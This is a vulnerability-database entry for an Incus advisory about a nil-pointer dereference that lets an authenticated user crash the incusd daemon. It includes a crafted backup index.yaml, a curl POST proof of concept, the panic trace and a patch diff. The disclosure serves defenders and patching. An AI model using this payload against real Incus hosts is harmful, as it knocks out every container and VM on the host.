GHSA-XHQX-MGH3-3H7Q

Vulnerability from github – Published: 2026-06-26 19:07 – Updated: 2026-06-26 19:07
VLAI
Summary
Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7)
Details

Summary

(*backend).CreateCustomVolumeFromBackup in internal/server/storage/backend.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with can_create_storage_volumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volume_snapshots[*].expires_at field is absent.

This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent *snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check — the asymmetric guard is the bug.

Vulnerable code

internal/server/storage/backend.go, CreateCustomVolumeFromBackup:

// Line 7710-7714 — the parent fix from GHSA-r7w7
for _, s := range srcBackup.Config.VolumeSnapshots {
    if s == nil {
        return errors.New("Bad snapshot definition found in index")
    }
    snapshot := s
    snapName := snapshot.Name
    // ...
    // Line 7731 — UNGUARDED *time.Time deref:
    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
        *snapshot.ExpiresAt,   // <-- panics when expires_at omitted in YAML
        snapVol.ContentType(), true, true)

ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go:21,88). Every other consumer in the same file already uses the safe pattern:

Line Code Guarded?
909-910 CreateInstanceFromBackup YES
1134-1135 refresh path YES
1422-1423 migration path YES
7731 CreateCustomVolumeFromBackup NO

Reach

  1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the can_create_storage_volumes entitlement on any project. Same auth gate as parent GHSA-r7w7.
  2. POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-Incus-name: <name>.
  3. Body is a tar containing backup/index.yaml with type: custom, a non-nil volume: block, and volume_snapshots: [{name: snap0}] (no expires_at field).
  4. cmd/incusd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the s == nil guard at 7712 passes (snapshot pointer is non-nil) -> *snapshot.ExpiresAt on line 7731 panics on the nil *time.Time.
  5. No recover() is installed in the operation runner, so the panic kills the entire incusd process. Repeated POSTs are a persistent denial of service.

Minimal backup/index.yaml:

name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
  volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}}
  volume_snapshots:
    - name: snap0
      description: snap0
      config: {}
      # expires_at intentionally omitted

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + the resulting 479-byte poc-vol.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA at time of report; build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with the default dir storage pool.

$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
    --data-binary @/tmp/poc-vol.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-Incus-name: poc-vol' \
    http://incus/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep incusd | grep -v grep    # process is GONE

Daemon panic from /tmp/incus.out:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]

goroutine 422 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)
    /build/incus/internal/server/storage/backend.go:7731 +0xb48
main.createStoragePoolVolumeFromBackup.func7(...)
    /build/incus/cmd/incusd/storage_volumes.go:2915 +0x290
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
    /build/incus/internal/server/operations/operations.go:307 +0x2c
created by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start in goroutine 408
    /build/incus/internal/server/operations/operations.go:306 +0x168

Stack frame backend.go:7731 is the literal *snapshot.ExpiresAt line. Same line in v6.0.x LTS is backend.go:7271 (also panics; v6.0.x additionally lacks the s == nil parent fix so a single nil snapshot pointer also panics there).

Impact

  • Severity: denial of service against the entire incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
  • Privileges required: any authenticated user with can_create_storage_volumes on any project. Not behind the admin tier.
  • Network attack surface: the Incus REST API on :8443 or the unix socket.
  • CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Suggested fix

Mirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423:

--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -7728,9 +7728,14 @@ func (b *backend) CreateCustomVolumeFromBackup(...) error {
         snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)

         // Validate config and create database entry for new storage volume.
         // Strip unsupported config keys (in case the export was made from a different type of storage pool).
-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+        var snapExpiryDate time.Time
+        if snapshot.ExpiresAt != nil {
+            snapExpiryDate = *snapshot.ExpiresAt
+        }
+
+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
         if err != nil {
             return err
         }

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v7/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T19:07:54Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`(*backend).CreateCustomVolumeFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/internal/server/storage/backend.go) contains an unguarded `*time.Time` dereference on the `ExpiresAt` field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with `can_create_storage_volumes` permission on any project can crash the `incusd` daemon by uploading a backup tarball whose `volume_snapshots[*].expires_at` field is absent.\n\nThis is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit `985a1dedf9f3e7ba729c93b654905ed510de25c2` added `if s == nil` at the top of the loop body, but did not guard the adjacent `*snapshot.ExpiresAt` deref 19 lines later. Every other consumer of `Config.VolumeSnapshots[i].ExpiresAt` in this same file already gates the deref with a nil-check \u2014 the asymmetric guard is the bug.\n\n## Vulnerable code\n\n[`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/internal/server/storage/backend.go), `CreateCustomVolumeFromBackup`:\n\n```go\n// Line 7710-7714 \u2014 the parent fix from GHSA-r7w7\nfor _, s := range srcBackup.Config.VolumeSnapshots {\n    if s == nil {\n        return errors.New(\"Bad snapshot definition found in index\")\n    }\n    snapshot := s\n    snapName := snapshot.Name\n    // ...\n    // Line 7731 \u2014 UNGUARDED *time.Time deref:\n    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,\n        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,\n        *snapshot.ExpiresAt,   // \u003c-- panics when expires_at omitted in YAML\n        snapVol.ContentType(), true, true)\n```\n\n`ExpiresAt` is declared `*time.Time` (`shared/api/storage_pool_volume_snapshot.go:21,88`). Every other consumer in the same file already uses the safe pattern:\n\n| Line | Code | Guarded? |\n|------|------|----------|\n| 909-910 | `CreateInstanceFromBackup` | YES |\n| 1134-1135 | refresh path | YES |\n| 1422-1423 | migration path | YES |\n| **7731** | **`CreateCustomVolumeFromBackup`** | **NO** |\n\n## Reach\n\n1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the `can_create_storage_volumes` entitlement on any project. Same auth gate as parent GHSA-r7w7.\n2. `POST /1.0/storage-pools/\u003cpool\u003e/volumes/custom` with `Content-Type: application/octet-stream` and `X-Incus-name: \u003cname\u003e`.\n3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backup/index.yaml) with `type: custom`, a non-nil `volume:` block, and `volume_snapshots: [{name: snap0}]` (no `expires_at` field).\n4. `cmd/incusd/storage_volumes.go:storagePoolVolumesPost` -\u003e `backup.GetInfo` parses the yaml -\u003e `pool.CreateCustomVolumeFromBackup` -\u003e the `s == nil` guard at 7712 passes (snapshot pointer is non-nil) -\u003e `*snapshot.ExpiresAt` on line 7731 panics on the nil `*time.Time`.\n5. No `recover()` is installed in the operation runner, so the panic kills the entire `incusd` process. Repeated POSTs are a persistent denial of service.\n\nMinimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backup/index.yaml):\n\n```yaml\nname: poc-vol\nbackend: dir\npool: default\ntype: custom\noptimized: false\noptimized_header: false\nsnapshots: [snap0]\nconfig:\n  volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}}\n  volume_snapshots:\n    - name: snap0\n      description: snap0\n      config: {}\n      # expires_at intentionally omitted\n```\n\n## Proof of concept (end-to-end against running daemon)\n\nBundled in the report: `make_backup.sh` + the resulting 479-byte `poc-vol.tar.gz`.\n\nTested against `incus 7.0.0` (zabbly latest GA at time of report; build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with the default `dir` storage pool.\n\n```bash\n$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \\\n    --data-binary @/tmp/poc-vol.tar.gz \\\n    -H \u0027Content-Type: application/octet-stream\u0027 \\\n    -H \u0027X-Incus-name: poc-vol\u0027 \\\n    http://incus/1.0/storage-pools/default/volumes/custom\n{\"type\":\"async\",\"status\":\"Operation created\",\"status_code\":100,...}\n\n$ ps -ef | grep incusd | grep -v grep    # process is GONE\n```\n\nDaemon panic from `/tmp/incus.out`:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]\n\ngoroutine 422 [running]:\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)\n    /build/incus/internal/server/storage/backend.go:7731 +0xb48\nmain.createStoragePoolVolumeFromBackup.func7(...)\n    /build/incus/cmd/incusd/storage_volumes.go:2915 +0x290\ngithub.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)\n    /build/incus/internal/server/operations/operations.go:307 +0x2c\ncreated by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start in goroutine 408\n    /build/incus/internal/server/operations/operations.go:306 +0x168\n```\n\nStack frame [`backend.go:7731`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backend.go#L7731) is the literal `*snapshot.ExpiresAt` line. Same line in v6.0.x LTS is [`backend.go:7271`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backend.go#L7271) (also panics; v6.0.x additionally lacks the `s == nil` parent fix so a single nil snapshot pointer also panics there).\n\n## Impact\n\n- **Severity:** denial of service against the entire `incusd` process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.\n- **Privileges required:** any authenticated user with `can_create_storage_volumes` on any project. Not behind the admin tier.\n- **Network attack surface:** the Incus REST API on `:8443` or the unix socket.\n- **CWE-476** \u2014 Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n\n## Suggested fix\n\nMirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423:\n\n```diff\n--- a/internal/server/storage/backend.go\n+++ b/internal/server/storage/backend.go\n@@ -7728,9 +7728,14 @@ func (b *backend) CreateCustomVolumeFromBackup(...) error {\n         snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)\n\n         // Validate config and create database entry for new storage volume.\n         // Strip unsupported config keys (in case the export was made from a different type of storage pool).\n-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)\n+        var snapExpiryDate time.Time\n+        if snapshot.ExpiresAt != nil {\n+            snapExpiryDate = *snapshot.ExpiresAt\n+        }\n+\n+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)\n         if err != nil {\n             return err\n         }\n```\n\n## Reporter notes\n\nReported via Privately-Reported Vulnerability against `lxc/incus` by tonghuaroot.",
  "id": "GHSA-xhqx-mgh3-3h7q",
  "modified": "2026-06-26T19:07:54Z",
  "published": "2026-06-26T19:07:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-xhqx-mgh3-3h7q"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…